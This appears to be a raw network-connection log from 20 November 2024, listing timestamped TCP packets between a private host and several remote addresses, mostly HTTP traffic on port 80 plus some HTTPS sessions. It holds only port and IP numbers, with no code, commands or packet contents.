Nov 20, 2024 14:43:45.695240974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695251942 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695264101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695298910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695327044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695341110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695353985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695367098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695380926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695393085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695404053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695415020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695425034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695436954 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695447922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695460081 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695471048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695504904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695517063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695529938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695540905 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695946932 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.695977926 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696029902 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696033955 CET	443	49883	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696086884 CET	443	49883	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696105003 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696151972 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696170092 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696177959 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696207047 CET	443	49883	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696221113 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696299076 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.696345091 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.696399927 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.696399927 CET	49885	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.696412086 CET	49879	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.696432114 CET	49883	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.696459055 CET	49879	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.696476936 CET	49887	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.697166920 CET	443	49889	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.700938940 CET	49889	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.700958014 CET	443	49889	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.701611996 CET	49889	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.701618910 CET	443	49889	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.705003977 CET	49879	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.705012083 CET	443	49879	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.705461979 CET	49907	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.705490112 CET	443	49907	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.705601931 CET	49907	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.705847979 CET	49887	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.705872059 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.706100941 CET	49883	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.706120968 CET	443	49883	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.706538916 CET	49885	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.706548929 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.707695961 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.707703114 CET	49907	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.707715034 CET	443	49907	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.707758904 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.708440065 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.708517075 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.709469080 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.709551096 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.709742069 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.709800959 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.737778902 CET	49908	443	192.168.2.6	20.110.205.119
Nov 20, 2024 14:43:45.737823963 CET	443	49908	20.110.205.119	192.168.2.6
Nov 20, 2024 14:43:45.737910986 CET	49908	443	192.168.2.6	20.110.205.119
Nov 20, 2024 14:43:45.738114119 CET	49908	443	192.168.2.6	20.110.205.119
Nov 20, 2024 14:43:45.738128901 CET	443	49908	20.110.205.119	192.168.2.6
Nov 20, 2024 14:43:45.744299889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.744354963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.744390011 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.744432926 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.744560957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.744679928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.745028019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.745232105 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.745558977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.745645046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.745673895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.745857954 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.746377945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.746639967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.746709108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.746759892 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.747404099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.747446060 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.747488976 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.747772932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.748410940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.748464108 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.748502016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.748791933 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.749551058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.749686956 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.750271082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.750370979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.750854969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.750893116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.750927925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.751080036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.751590967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.751718044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.752095938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.752175093 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.752476931 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.752556086 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.752569914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.752576113 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.752974987 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.752981901 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.752994061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.753046036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.753535986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.753540993 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.753572941 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.753609896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.753635883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.753637075 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.753851891 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.753863096 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.754302025 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.754306078 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.754337072 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.754383087 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.754422903 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.754465103 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.754515886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.754535913 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.754553080 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.754566908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.754607916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.754852057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.754976988 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.754997015 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.755145073 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.755151987 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.755523920 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.755564928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.755620003 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.755630016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.755676985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.755708933 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.755950928 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:45.756009102 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:45.756546974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.756689072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.756719112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.756895065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.757613897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.757908106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.757936954 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.757980108 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.758632898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.758668900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.758770943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.759593964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.759670019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.760377884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.760454893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.760657072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.760701895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.760744095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.760744095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.761667967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.761764050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.761843920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.761894941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.762670994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.762794018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.762829065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.762850046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.763744116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.763782024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.763806105 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.763839960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.764719963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.764767885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.764849901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.764913082 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.765764952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.766079903 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.766102076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.766350031 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.766824961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.766860962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.766889095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.766927958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.767738104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.767807961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.768215895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.768265009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.768817902 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.768919945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.768996954 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.769853115 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.769897938 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.769941092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.770112991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.770797014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.770900011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.770936966 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.771006107 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.771827936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.771882057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.772725105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.772825003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.772903919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.772939920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.773010015 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.773900032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.773977041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.774043083 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.774209023 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.774863958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.774977922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.775522947 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.775576115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.775986910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.776024103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.776082039 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.776907921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.776994944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.777064085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.777209997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.777960062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.778027058 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.778028011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.778072119 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.778933048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.778985023 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.780066967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.780235052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.781366110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.781400919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.781435966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.781462908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.781471968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.781498909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.781519890 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.782648087 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.782706976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.787929058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.788047075 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.790184021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.790218115 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.790246964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.790272951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.794744968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.794780970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.794833899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.794833899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.797836065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.797897100 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.802236080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.802272081 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.802304029 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.802306890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.802335978 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.802429914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.807446957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.807543039 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.807585955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.807620049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.807632923 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.807657957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.807665110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.807728052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.810729980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.810765028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.810798883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.810828924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.810833931 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.810861111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.810935020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.813682079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.813724041 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.813741922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.813759089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.813780069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.813795090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.813822985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.813829899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.813858032 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.813865900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.813900948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.813901901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.813922882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.813937902 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.813960075 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.813973904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.814008951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.814037085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.814043045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.814054966 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.814080954 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.814114094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.814115047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.814145088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.814151049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.814158916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.814196110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.818487883 CET	443	49890	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.818955898 CET	49890	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.818983078 CET	443	49890	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.819442034 CET	49890	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.819447041 CET	443	49890	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.892051935 CET	443	49895	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.928466082 CET	49895	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.928498030 CET	443	49895	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.928926945 CET	49895	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.928941011 CET	443	49895	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.945934057 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.945997000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.946027994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.946070910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.946317911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.946336985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.946363926 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.946379900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.947177887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.947222948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.947473049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.947520971 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.948188066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.948276043 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.948358059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.948402882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.948699951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.948750019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.949285030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.949347019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.949363947 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.949404001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.950315952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.950362921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.950526953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.950570107 CET	49800	80	192.168.2.6	185.215.113.206
